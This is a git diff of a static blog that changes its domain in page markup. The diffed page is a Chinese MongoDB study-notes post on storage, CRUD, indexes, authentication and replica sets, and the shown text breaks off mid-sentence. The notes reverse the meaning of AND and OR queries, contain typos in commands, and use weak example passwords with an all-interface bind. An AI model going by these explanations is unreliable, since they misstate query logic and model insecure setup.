+<a class=next href=https://chenjunlinabc.github.io/posts/73/><span class=title>Next »</span><br><span>gulp学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/76/index.html b/posts/76/index.html
index 188da74f..6c696fdc 100644
--- a/posts/76/index.html
+++ b/posts/76/index.html
@@ -42,8 +42,8 @@
 show collections
 或者
 show tables
-db.createCollection(&ldquo;test&rdquo;, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/76/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="MongoDB学习笔记"><meta property="og:description" content="MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）
+db.createCollection(&ldquo;test&rdquo;, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/76/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="MongoDB学习笔记"><meta property="og:description" content="MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）
 MongoDB是No SQL家族的成员之一，No SQL一般指的是非关系型数据库（Not only SQL）
 关系型数据库和Excel表格类似，表与表之间存在着复杂的关联关系，例如MySQL，sql server
 而非关系型数据库不使用SQL作为查询，不需要遵循ACID（Atomicity Consistency Insolation Durability）
@@ -87,7 +87,7 @@
 show collections
 或者
 show tables
-db.createCollection(&ldquo;test&rdquo;, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/76/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-08T14:20:00+00:00"><meta property="article:modified_time" content="2021-08-08T14:20:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="MongoDB学习笔记"><meta name=twitter:description content="MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）
+db.createCollection(&ldquo;test&rdquo;, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/76/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-08T14:20:00+00:00"><meta property="article:modified_time" content="2021-08-08T14:20:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="MongoDB学习笔记"><meta name=twitter:description content="MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）
 MongoDB是No SQL家族的成员之一，No SQL一般指的是非关系型数据库（Not only SQL）
 关系型数据库和Excel表格类似，表与表之间存在着复杂的关联关系，例如MySQL，sql server
 而非关系型数据库不使用SQL作为查询，不需要遵循ACID（Atomicity Consistency Insolation Durability）
@@ -131,7 +131,7 @@
 show collections
 或者
 show tables
-db.createCollection(&ldquo;test&rdquo;, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"MongoDB学习笔记","item":"https://xiaochenabc123.github.io/posts/76/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"MongoDB学习笔记","name":"MongoDB学习笔记","description":"MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）\nMongoDB是No SQL家族的成员之一，No SQL一般指的是非关系型数据库（Not only SQL）\n关系型数据库和Excel表格类似，表与表之间存在着复杂的关联关系，例如MySQL，sql server\n而非关系型数据库不使用SQL作为查询，不需要遵循ACID（Atomicity Consistency Insolation Durability）\n基于json有个好处就是不需要额外对数据进行转换（例如sql，在调用其数据时需要进行数据的转换）\nMongoDB使用了WiredTiger存储引擎（3.2+版本开始为默认引擎），利用可用内存来缓存数据，来提供优秀的读取性能，该引擎使用WiredTiger内部缓存和文件系统缓存这俩种缓存\nWiredTiger提供了内存快照，而且每隔60秒（创建检查点）就将内存快照写入磁盘（数据持久化，而且持久化的数据还可以作为校验，确保数据在最后一个检查点是一致的，而且旧检查点可以作为有效检查点恢复因为写入新检查点时的错误而且重启导致丢失的数据）\n对于60秒内的数据丢失，WiredTiger采用了Journal机制（WAL预写日志）来提供断电保护，Journal每隔100ms刷新日志，数据被存储在Journal文件（发生断电情况，可通过Journal文件根据记录追加数据），Journal机制会保留检查点之间保留所有数据修改\n而且不用担心100ms以内的数据丢失，因为MongoDB提供了其特有的写入安全机制（Write Concern），默认使用Acknowledged安全策略，该策略在每次写入操作时确认状态，这个状态取决于内存的写入（不保证数据不丢失）\nJournaled策略要求每一次写入操作必须在journal落盘后（确保数据不丢失，吞吐和响应会有影响），该策略会确认落盘后等待30ms，将30ms内的全部写入操作统一按照顺序写入盘中\nmajority副本集策略要求只有当数据被复制到绝大多数节点（包括主节点）后才应答（适合集群）\nWrite Concern用法\n例如：\ndb.test.insert({\u0026ldquo;name\u0026rdquo;:\u0026ldquo;hallo\u0026rdquo;},{writeConcern:{w:1}})\nw有这几个常用值，分别为0（非应答式写入），1（应答式写入），\u0026gt;1（设置副本写入节点数量），majority(表示majority副本集策略)\n而且还提供了wtimeout参数来限制节点写入时间（超过该时间，报错，只适用集群环境，单位ms）\nj参数是用来开启写入操作必须在写入journal日志后响应（Journaled策略，参数值为布尔值）\nMongoDB有三种集群部署架构，主从，副本集，分片\n一个副本集架构由一个主节点和多个副本节点组成，个主节点和多个副本节点的数据同步基于oplog，当主节点发生故障，副本节点会自动选择一个新的主节点来继续工作\n在分片架构上，数据均衡分布在每一个节点上（负载均衡），可通过增加或者减少分片来实现按需扩展，\n简单使用MongoDB数据库\nmongod.conf文件是MongoDB数据库配置文件\n启动数据库（没有该数据库则创建数据库）\nmongod \u0026ndash;dbpath D:\\mongodb\n默认端口为27017\n启动服务\nnet start mongodb\n连接数据库\nmongo \u0026ndash;port 27017\n切换数据库（没有该数据库就会创建）\nuse demo\n查看全部数据库\nshow dbs\n注意：默认数据库为test，没有创建新数据库，那么就存储在test数据库中\n删除数据库（当前数据库）\ndb.dropDatabase()\n创建集合（类似于MySQL中的表）\ndb.createCollection(\u0026ldquo;hallo\u0026rdquo;)\n插入数据（插入到test集合中，当该集合不存在时，将自动创建该集合）\ndb.test.insert({\u0026ldquo;name\u0026rdquo;:\u0026ldquo;hallo\u0026rdquo;})\n查看当前已有集合\nshow collections\n或者\nshow tables\ndb.createCollection(\u0026ldquo;test\u0026rdquo;, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )","keywords":["MongoDB"],"articleBody":"MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）\nMongoDB是No SQL家族的成员之一，No SQL一般指的是非关系型数据库（Not only SQL）\n关系型数据库和Excel表格类似，表与表之间存在着复杂的关联关系，例如MySQL，sql server\n而非关系型数据库不使用SQL作为查询，不需要遵循ACID（Atomicity Consistency Insolation Durability）\n基于json有个好处就是不需要额外对数据进行转换（例如sql，在调用其数据时需要进行数据的转换）\nMongoDB使用了WiredTiger存储引擎（3.2+版本开始为默认引擎），利用可用内存来缓存数据，来提供优秀的读取性能，该引擎使用WiredTiger内部缓存和文件系统缓存这俩种缓存\nWiredTiger提供了内存快照，而且每隔60秒（创建检查点）就将内存快照写入磁盘（数据持久化，而且持久化的数据还可以作为校验，确保数据在最后一个检查点是一致的，而且旧检查点可以作为有效检查点恢复因为写入新检查点时的错误而且重启导致丢失的数据）\n对于60秒内的数据丢失，WiredTiger采用了Journal机制（WAL预写日志）来提供断电保护，Journal每隔100ms刷新日志，数据被存储在Journal文件（发生断电情况，可通过Journal文件根据记录追加数据），Journal机制会保留检查点之间保留所有数据修改\n而且不用担心100ms以内的数据丢失，因为MongoDB提供了其特有的写入安全机制（Write Concern），默认使用Acknowledged安全策略，该策略在每次写入操作时确认状态，这个状态取决于内存的写入（不保证数据不丢失）\nJournaled策略要求每一次写入操作必须在journal落盘后（确保数据不丢失，吞吐和响应会有影响），该策略会确认落盘后等待30ms，将30ms内的全部写入操作统一按照顺序写入盘中\nmajority副本集策略要求只有当数据被复制到绝大多数节点（包括主节点）后才应答（适合集群）\nWrite Concern用法\n例如：\ndb.test.insert({“name”:“hallo”},{writeConcern:{w:1}})\nw有这几个常用值，分别为0（非应答式写入），1（应答式写入），\u003e1（设置副本写入节点数量），majority(表示majority副本集策略)\n而且还提供了wtimeout参数来限制节点写入时间（超过该时间，报错，只适用集群环境，单位ms）\nj参数是用来开启写入操作必须在写入journal日志后响应（Journaled策略，参数值为布尔值）\nMongoDB有三种集群部署架构，主从，副本集，分片\n一个副本集架构由一个主节点和多个副本节点组成，个主节点和多个副本节点的数据同步基于oplog，当主节点发生故障，副本节点会自动选择一个新的主节点来继续工作\n在分片架构上，数据均衡分布在每一个节点上（负载均衡），可通过增加或者减少分片来实现按需扩展，\n简单使用MongoDB数据库\nmongod.conf文件是MongoDB数据库配置文件\n启动数据库（没有该数据库则创建数据库）\nmongod –dbpath D:\\mongodb\n默认端口为27017\n启动服务\nnet start mongodb\n连接数据库\nmongo –port 27017\n切换数据库（没有该数据库就会创建）\nuse demo\n查看全部数据库\nshow dbs\n注意：默认数据库为test，没有创建新数据库，那么就存储在test数据库中\n删除数据库（当前数据库）\ndb.dropDatabase()\n创建集合（类似于MySQL中的表）\ndb.createCollection(“hallo”)\n插入数据（插入到test集合中，当该集合不存在时，将自动创建该集合）\ndb.test.insert({“name”:“hallo”})\n查看当前已有集合\nshow collections\n或者\nshow tables\ndb.createCollection(“test”, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )\n整个集合空间大小102400B, 文档最大个数为10000个\n删除集合（删除test集合）\ndb.test.drop()\n插入数据（数据结构和json一样）\ndb.test.insert() // 当数据主键已存在，抛出错误\ndb.test.insert({\rtitle: \"小陈的辣鸡屋\", description: \"小陈辣鸡屋\",\rby: \"小陈的辣鸡屋\",\rurl: \"https://xiaochenabc123.test.com\",\rtags: [\"小陈\", \"hallo\", \"chenjunlin\"],\rlikes: 1\r})\r查看插入的文档数据（默认只输出20条，输入it指令查看下一批，返回值为游标对象）\ndb.test.find()\n也可以将数据定位为一个变量\ndata=({\rtitle: \"小陈的辣鸡屋\", description: \"小陈辣鸡屋\",\rby: \"小陈的辣鸡屋\",\rurl: \"https://xiaochenabc123.test.com\",\rtags: [\"小陈\", \"hallo\", \"chenjunlin\"],\rlikes: })\r更新数据（upsert参数是表示特殊的更新，如果目标不存在，那么就是插入）\ndb.test.update({\rtitle: \"小陈的辣鸡屋\",\rtags: [\"小陈\", \"hallo\", \"chenjunlin\"],\r},{$set:{\"title\":\"hallo 小陈的辣鸡屋\",tags: [\"小陈\", \"hallo\", \"chenjunlin\",\"xiaochenabc123.test.com\"]}},{\"upsert\": true})\r更新数据（主键存在则更新，不存在则插入）\ndb.test.save({\r\"_id\" : ObjectId(\"610f84ac242ec572ff8a1678\"),\r\"title\": \"小陈的辣鸡屋\", \"description\": \"小陈辣鸡屋\",\r\"by\": \"小陈的辣鸡屋\",\r\"url\": \"https://xiaochenabc123.test.com\",\r\"tags\": [\"小陈\", \"hallo\", \"chenjunlin\"],\r\"likes\": 666\r})\r查看更新后的数据\ndb.test.find().pretty()\n删除数据\ndb.test.remove({\r\"title\": \"小陈的辣鸡屋\"\r},1)\r将title为小陈的辣鸡屋的第一条记录移除\n删除指定条件的数据\ndb.test.remove({\r\"title\": \"小陈的辣鸡屋\"\r})\r删除全部数据\ndb.test.remove({})\n或者db.test.drop\n查询数据\nAND，OR\n查询条件默认为AND（和），只要有一项为真，则输出\ndb.test.find({“title”:“小陈的辣鸡屋”,“by”: “小陈的辣鸡屋”}).pretty()\nOR条件（或），需要全部项都真，则输出\ndb.test.find({$or:[{“title”:“小陈的辣鸡屋”,“by”: “小陈的辣鸡屋hallo”}]}).pretty()\n其他逻辑符：非（$not）,即非（$nor）\n条件判断\n大于（$gt）\ndb.test.find({likes : {$gt : 100}})\n大于等于（$gte）\ndb.test.find({likes : {$gte : 100}})\n小于（$lt）\ndb.test.find({likes : {$lt : 1000}})\n小于等于（$lte）\ndb.test.find({likes : {$lte : 1000}})\n组合（大于100，小于1000）\ndb.test.find({likes : {$gt : 100,$lte : 1000}})\n其他比较符：等于（$eq）,数组是否包含（$in）,不等于（$ne）,数组是否不包含（$nin）\n数组比较符：全包含（$all），大小匹配（$size），仅一个元素匹配（$elemMatch）\n按照降序输出（-1降序，1为顺序（默认为顺序，可省略1））\ndb.test.find().sort({id: -1})\n分页输出查询（这里是查看第3页的数据，每个页有5个数据）\ndb.test.find().skip(10).limit(5)\nskip: 指定跳过指定数量的数据 limit: 指定一个页有多少条数据\n投射（指定字段输出，默认输出_id，需要通过参数去除）\ndb.test.find({},{_id:0, title: 1,by: 1}).linit(5)\n聚合查询\n$match：过滤，类似于sql的where\n$project：投影，类似于sql的as\n$sort：排序，类似于sql的order by\n$group：分组，类似于sql的group by\n$skip/$limit：结果限制，类似于sql的skip/limit\n$lookup：左外连接，类似于sql的left outer join\ndb.test.aggregate({\r{$sort({_id: -1})}\r{$group: {_id: \"$title\", data: {$sum :1}}}\r})\r按照id降序输出，并且按照title字段输出，每个数据累计一行输出\n查看数据库信息（其中size字段为数据库的大小，默认单位为字节,这里输出的单位是MB）\ndb.test.stats(1024*1024)\n登录验证（auth）\n选择库\nuse admin\n创建用户\ndb.createUser({\ruser:\"root\",\rpwd:\"root\",\rroles:[\r{\rrole:\"userAdminAnyDatabase\",\rdb:\"admin\"\r},\r{\rrole:\"clusterAdmin\",\rdb:\"admin\"\r},\r{\rrole:\"dbAdminAnyDatabase\",\rdb:\"admin\"\r}\r]\r})\r如果创建普通用户，role为readWrite和read\nread：允许读数据的权限\nreadWrite：允许读和写数据的权限\nuserAdminAnyDatabase：允许管理所有数据库的用户的权限，只能用于admin用户\nclusterAdmin：获取管理集群的最高权限，只能用于admin用户\ndbAdminAnyDatabase： 获取管理所有数据库的权限，只能用于admin用户\nroot没有任何限制（吴迪）\ndb.createUser(\r{\ruser:\"root\",\rpwd:\"pwd\",\rroles:[\"root\"]\r}\r)\r启用auth\nmongod.conf\nsecurity: authorization: enabled\n或者\nmongo.conf\nauth=true\n也是可以终端 mongod –auth\n注意：MongoDB允许同user，但是db不允许相同，因为同用户名的用户之间是根据db参数区别的，db参数就是该用户在该数据库的权限（admin用户除外）\n查看用户\nshow users\n修改密码\ndb.changeUserPassword(“admin”, “abc123”)\n或者\ndb.runCommand(\r{\rupdateUser:\"admin\",\rpwd:\"abc123\",\r}\r)\r删除用户\ndb.dropUser(‘root’)\n验证用户（用户鉴权）（符合1表示验证成功，0为失败）\ndb.auth(‘admin’, ‘abc123’)\n登录\nmongo -u admin -p abc123 –host localhostt –port 27017 –authenticationDatabase admin\n或者\nmongo mongodb://admin:abc123@127.0.0.1:27017\nmongo shell 基于JavaScript语法，因此可以执行JavaScript程序，其JavaScript解析器引擎为SpiderMonkey（正是Firefox浏览器同款解释器，由Mozilla提供）（注意：在3.2+版本，才是SpiderMonkey引擎，之前的版本是v8引擎）\n索引，通过关键词来快速得到自己想要的数据\n升序输出单字段索引 db.test.ensureIndex({title:1})\n复合索引就是多字段组合的索引\ndb.test.ensureIndex({_id:1, title:1})\n数组索引（tags字段是一个数组）\ndb.test.ensureIndex({tags:1})\n注意：MongoDB不允许在复合索引中出现多个数组字段\n唯一性约束（保证数据的唯一性，写入重复的数据，会导致报错（输出的字段也不是唯一的也报错），使用unique: true声明）\ndb.test.ensureIndex({title:1}, {unique: true})\n数组索引的唯一性并不能保证数组元素的唯一性\nTTL索引（数据老化处理）\ndb.test.ensureIndex({Date:1}, {expireAfterSeconds: 60})\n创建一个TTL索引，指向Date字段，并且expireAfterSeconds: 60表示该数据60秒后过期（过期后，会进行清理该数据）\n修改过期时间（已创建TTL索引）\ndb.runCommand({collMod:“test”,index: {keyPattern:{Data:1},expireAfterSeconds: 600}})\n修改过期时间为10分钟\nMongoDB允许多个结构不同的数据存储在同一个数据库中（索引该数据时，不存在的字段将输出null）\n稀疏索引\ndb.test.ensureIndex({title:1}, {sparse: true})\n文本索引\ndb.test.ensureIndex({title: “text”, by: “text”})\n通过文本索引进行搜索文本（通过$text操作符输出包含$search指向的关键词的数据，对中日韩等语言支持不怎么理想，对英文支持很好）\ndb.test.find({$text: {$search: “chen”}})\n模糊索引（假设data是一个嵌套数据，其下还有多个不同的属性）\ndb.test.createIndex({“data.$**”: 1})\n副本集架构（由一个主节点和多个副本节点组成）\n主节点写入数据后，副本节点进行同步复制工作，确保副本节点拥有和主节点的数据副本，当主节点发生故障不可用时，副本节点将通过Raft算法选举出新的主节点（这个步骤是全自动的，无需进行额外配置）\nRaft选举算法：主节点会向副节点发送心跳包，确保主节点存活，如果在一段时间内副节点没有接收到心跳包，副节点将转换为候选者，候选者得到投票数最多者成为主节点（副节点在每个选举期中只能给候选者投一票，而且只有当对方的任期时间和日志时间与自己一样新时，才进行投票给对方，如果没有得到最多数票，会重新发起选举，如果在该选举期中发现有主节点的心跳包时，进行判断对方任期是否和自己一样新，如果是则为副节点，如果不是，继续选举）\n只能是当任期结束了或者主节点没有发送心跳包了才会触发选举，而且Raft使用了一种预投票的机制（preVote），通过预投票的方式来试探是否选举成功，只有当预投票通过才能发起真实的投票\nMongoDB基于Raft算法进行了一些扩展，例如副节点可以选择离自己最近（心跳延时）的节点来复制数据，并不一定要向主节点复制数据\nMongoDB的选举：具备投票权的节点之间互相发送心跳（默认每2秒发送一次心跳包），当5次心跳没有接收到时，认定该节点失联，如果失联是主节点，会发起选举，成为候选者，如果失联的是副节点，则不会发起选举，成为候选者后，其他节点只有当对方的oplog日志和自己一样新时，投票给对方，一个节点一个选举期内只能投一票，候选者票数占大数时为主节点，如果主节点突然存活了，则判断该节点的oplog日志是否和自己一样，如果不是则继续选举，如果是则放弃选举，重新恢复到副节点身份\noplog同步数据，主节点当一个写操作完成时，向oplog写入一条日志，副节点通过该oplog拉取新日志，达到数据同步\n当主节点发生修改，插入，更新，删除等操作时，主节点会将这些操作记录下来，而这个记录叫oplog\n副节点通过在主节点上打开tailable游标来获取主节点的新oplog，并且将oplog的记录在自身回放，来保持于主节点的数据一致\n注意：oplog的容量并不是无限的，是有固定大小的，当容量满了，会将旧日志滚动清理\n副本集架构在实现高可用的同时，也可以完成读写分离，数据分发，异地容灾\n一个副本集架构最少需要3个节点（并且节点都具备投票权）：一个主节点，2个副节点\n主节点接受写入工作，副节点承担复制主节点的数据工作\n副本集最多50个节点，具备选举投票权节点最多7个，其他节点则不参与投票\n成为主节点的节点选举必须是集群中大多数节点存活（选举投票权节点有7个时，最少要有4个选举节点存活），并且该节点能于多数节点连接通信，而且具备较新的oplog，而且还可以设置优先级来影响选举结果\n副本集节点的选配设置：是否具备投票权（v），优先级（优先级为0则表示该节点不会成为主节点，优先级越高则优先成为主节点，priority），隐藏（对应用不可见，但是可以复制主节点数据，隐藏节点可以具备投票权，但是优先级必须为0（不能成为主节点）hidden），延迟（复制多少秒之前的数据，保持于主节点的数据时间差（避免主节点数据因为误操作而导致副本集节点也跟着更新了），slaveDelay）\n副本集节点注意：副节点存在成为主节点的可能，因此不要将一些副节点的硬件配置设置很低，应该保持和主节点的配置一致，而且硬件尽量保持独立性，副本集节点软件版本应保持一致，增加副本节点不会提高副本集架构的写入性能，副本集的写入由主节点完成，主节点只能有一个，增加副本节点只能提高读的性能（读写分离，主写，副读）\n搭建mongodb副本集\n每个mongodb实例需要一个数据目录来存储数据文件，每个mongodb实例需要一个配置文件和一个日志文件\n副本集节点mongod.conf实例：\nsystemLog:\rdestination: file\rpath: \"/mongodb1/mongodb.log\" # 日志文件路径\rlogAppend: true # 实例重新启动时，将写入日志的末尾\rstorage:\rdbpath: \"/mongodb1/data\" # 数据存储目录\rjournal: enabled: true # 启用持久性日志\rprocessManagement:\rfork: true # 使用守护进程（独立进程）的模式运行实例\rpidFilePath: \"/data/mongodb.pid\" # 保存实例进程id的文件路径，会将pid写入到该文件中\rnet:\rbindIP: 0.0.0.0 # 0.0.0.0表示所有网卡都监听，如果设置为127.0.0.1，外界无法访问\rport: 27017\rreplication:\rreplSetName: a1 #副本集节点名称\r以配置文件的模式启动mongodb实例\nmongod -f db/mongod.conf\n查看mongod进程运行情况\nps -ef | grep mongod\n配置副本集\n进入一个节点，初始化，再将节点一个个传进副本集\nrs.initiate()\rrs.add('mongodb1:27017')\rrs.add('mongodb2:27017')\rrs.add('mongodb3:27017')\rmongodb1需要被解析（hosts文件配置主机名）\n或者节点初始化时就配置好\nrs.initiate({\r_id: 'rs0',\rmembers: [{\r_id: 0,\rhost: '196.168.1.2:27017'\r},{\r_id: 1,\rhost: '196.168.1.3:27017'\r},{\r_id: 2,\rhost: '196.168.1.4:27017'\r}]\r})\r验证副本集是否工作：在主节点上写入，然后在副节点上读，如果读到则表示工作正常\n分片集群架构\n–\n数据模型设计\n数据模型是由一组符号，文本组成的集合，用来表达信息\n组成一个数据模型的元素有实体（Entity），属性（Attribute），以及关系（Relationship）\n传统的模型设计：概念模型（CDM），逻辑模型（LDM），物理模型（PDM）\nJSON文档模型设计（通过字段或者集合来表示关系）\n事务开发\nmongodb提供了事务来保证数据不丢失\n写入操作事务\nwritConcern决定一个写入操作落到多少个节点才算成功，取值为0时表示不关心，1至集群max节点数表示写入操作被复制到指定节点数才算成功，majority表示写入操作被复制到大多数节点才算成功，all表示全部节点都被写入时认定成功\n注意：当设置非0的值时，发起写入操作将导致阻塞，一直到认为成功为止\njournal决定这个节点写入操作如何才算成功，true表示写入操作落到journal文件中时认定成功，false表示写入操作落到内存时就认定成功\ndb.test.insert({count: 1}, {writConcern: {w: “majority”})\n读取操作事务\nreadPreference决定数据从哪个节点读，primary表示只选择主节点读，primaryPreferred表示优先选择主节点，如果不可用则选择副节点，secondary表示只选择副节点，secondaryPreferred表示优先选择副节点，如果副节点不可用，则选择主节点，nearest表示选择最近的节点（通过ping延迟来选择最近）\n在连接时设置\nmongodb://196.168.1.2:27017,196.168.1.3:27017,196.168.1.4:27017/?replicaSet=rs\u0026readPreference=nearest\n或者在mongo 